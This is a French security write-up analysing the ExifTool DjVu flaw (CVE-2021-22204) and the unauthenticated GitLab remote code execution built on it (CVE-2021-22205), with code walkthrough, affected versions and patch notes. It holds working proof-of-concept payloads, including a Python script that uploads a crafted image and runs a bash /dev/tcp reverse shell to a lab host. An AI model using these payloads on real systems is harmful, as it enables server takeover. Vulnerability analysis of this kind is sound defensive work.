En avril dernier, Gitlab a fait publié un correctif de sécurité concernant une vulnérabilité d’exécution de code à distance non authentifiée sur son application web. Particulièrement critique, cette vulnérabilité (CVE-2021-22205) a fait l’objet d’un score CVSS de 9.9. Plus récemment, des exploitations in the wild ont été identifiées sur des instances exposées.

Plusieurs analyses techniques ont été publiées et nous nous sommes penchés sur cette vulnérabilité dans le cadre de notre travail de veille technique.

Fonctionnement général de la vulnérabilité

La vulnérabilité est présente dans la librairie ExifTool, qui est utilisée par Gitlab (CVE-2021-22204). Lors du téléchargement de fichiers images, GitLab Workhorse transmet tous les fichiers avec les extensions jpg|jpeg|tiff à ExifTool afin de supprimer toutes les balises qui ne figurent pas sur une liste blanche.

Néanmoins, ExifTool ignorera l’extension du fichier et essaiera de déterminer la nature du fichier sur la base de son contenu. Cela permet de leurrer le système de validation, et d’exécuter d’autres analyseurs ExifTool que ceux prévus initialement (JPEG et TIFF) : il suffit de renommer un fichier d’un autre format en .jpg|.jpeg|.tiff pour qu’il soit envoyé à ExifTool. L’un de ces formats pris en charge est le format DjVu.

Lors de l’analyse de l’annotation DjVu, les tokens sont évalués pour "convertir les séquences d’échappement C", qui représentent une menace de sécurité. Une validation est présente, afin de s’assurer que tout est correctement échappé. Malheureusement, l’expression régulière utilisée pour réaliser cette validation n’est pas correctement écrite et il est possible de la contourner grâce à un backslash suivi d’un retour à la ligne, ouvrant la possibilité d’insérer un code Perl à la suite, qui sera évalué (et donc exécuté).

Versions impactées

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

Détails technique : CVE-2021-22204

La version vulnérable de Exiftool est la version 12.23.

Exiftool

ExifTool est un logiciel libre et gratuit pour la lecture, l’écriture et la manipulation des métadonnées d’images, d’audio, de vidéo et de PDF. Il est indépendant de la plateforme utilisée, disponible à la fois comme une bibliothèque Perl (Image::ExifTool) et une application en ligne de commande. ExifTool est couramment incorporé dans différents types de flux de travail numériques et supporte de nombreux types de métadonnées, notamment Exif, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP et ID3, ainsi que les formats de métadonnées spécifiques au fabricant de nombreux appareils photo numériques.

DjVu

Djvu est un format de fichier conçu initialement pour stocker des documents numérisés, en particulier ceux contenant une combinaison de texte, d’image en couleur et d’image vectorielle. Cela permet de stocker des images lisibles et de haute qualité dans un minimum d’espace, ce qui permet de les rendre disponibles sur le web.

Explication de la vulnérabilité DjVu

La vulnérabilité survient lorsque Exiftool tente d’analyser le type de fichier DjVu, plus précisément les metadatas dans la structure du fichier.

C’est la fonction ParseAnt du fichier exiftool-12.23/lib/Image/ExifTool/DjVu.pm qui permet d’exécuter du code arbitraire.

La fonction permet de parser les annotations s-expression d’une image. Pour cela, une expression régulière échappe les caractères spéciaux avant de passer la chaîne à qq qui sera ensuite interprété avec eval. Ce mécanisme a été mis en place pour supporter les séquences d’échappement C, qui sont similaires en Perl.


#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
  [...]
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
  [...]
}

Si on fournit la chaîne suivante:


"a\
""

Le deuxième " n’est pas échappé car dans la regex $tok =~ /(\+)$/, le caractère $ correspond à la fin d’une chaîne de caractères, mais correspond aussi à la fin d’une chaîne de caractères avant un retour chariot. Le code l’interprète ainsi comme un échappement du guillemet (sur la ligne suivante), alors qu’il échappe en réalité le retour chariot.

La fonction est utilisée pour parser les metadata d’une image, le format des metadata est le suivant: (metadata (Author "authorName")).

Si on crée un tag metadata avec du code Perl en se basant sur le mauvais échappement des caractères on pourra exécuter le code contenu dans la chaîne qui sera passée à la fonction eval.


> vim exploit_djvu
(metadata
    (Author "\
" . return date; #")
)
> djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit_djvu
> exiftool exploit.djvu
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : ..
File Size                       : 100 bytes
File Modification Date/Time     : 2021:11:12 12:44:18+01:00
File Access Date/Time           : 2021:11:12 12:44:20+01:00
File Inode Change Date/Time     : 2021:11:12 12:44:18+01:00
File Permissions                : -rw-rw-r--
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 0
Image Height                    : 0
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Author                          : ven. 12 nov. 2021 12:44:20 CET.
Image Size                      : 0x0
Megapixels                      : 0.000000

La metadata Author affiche bien la date.

On peut également exécuter des commandes système avec la fonction Perl qx:


(metadata
    (Author "\
" . qx{pwd}; #")
)

On obtient alors:


ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : ..
File Size                       : 94 bytes
File Modification Date/Time     : 2021:11:12 16:17:08+01:00
File Access Date/Time           : 2021:11:12 16:17:09+01:00
File Inode Change Date/Time     : 2021:11:12 16:17:08+01:00
File Permissions                : -rw-rw-r--
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 0
Image Height                    : 0
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Author                          : ./home/magnussen/CVE-2021-22205/
Image Size                      : 0x0
Megapixels                      : 0.000000

Il est possible d’appeler le module DjVu et d’exécuter le payload avec d’autres formats de fichiers tant que ceux-ci passent par la fonction ExtractInfo. Par exemple dans le format TIFF (pour des images TIFF, JPG, PNG, etc.), le tag HasselbladExif va permettre d’appeler la fonction ExtractInfo et d’atteindre la fonction ParseAnt. Les autres types de fichiers permettant cette exécution sont:

  • ZIP
  • PDF
  • AVI
  • MOV/MP4

Détails technique : CVE-2021-22205

La vulnérabilité dans Gitlab provient du fait qu’un utilisateur n’a pas besoin d’être authentifié pour transmettre un fichier à Exiftool. En effet, la fonction HandleFileUploads dans uploads.go est appelée dans un contexte PreAuthorizeHandler qui ne nécessite pas de fournir d’authentication. Il n’est pas nécessaire de fournir d’authentification, ni de token CSRF, ni de endpoint HTTP valide.

On peut donc forger un fichier JPEG qui contiendra le tag HasselbladExif et qui permettra d’exploiter la CVE-2021-22204.

Si on exécute le script python ci-dessous on obtient un reverse shell.


import requests

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:60.0) Gecko/20110101 Firefox/60.0", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "Accept-Encoding": "gzip, deflate"}

payload = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{{{command}}} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n".format(command="echo 'bash -i >& /dev/tcp/192.168.1.185/7777 0>&1' > /tmp/DyDxngRt && /bin/bash /tmp/DyDxngRt && rm /tmp/DyDxngRt")

print(requests.post('http://192.168.1.156/test1337', headers=headers, data=payload))

Patch

Gitlab n’a pas corrigé la manière dont il est possible d’accéder à ExifTool sans authentification. Cependant ils ont ajouté des validations permettant de s’assurer que les images soient bien des TIFF ou des JPEG, notamment avec les fonctions isTIFF et isJPEG. Une image TIFF est maintenant entièrement décodée pour vérifier sa validité et une image JPEG est passée à la fonction DetectContentType du module HTTP Go.

Par ailleurs, Gitlab embarque maintenant une version patchée contre la CVE-2021-22204 de Exiftool.

Sources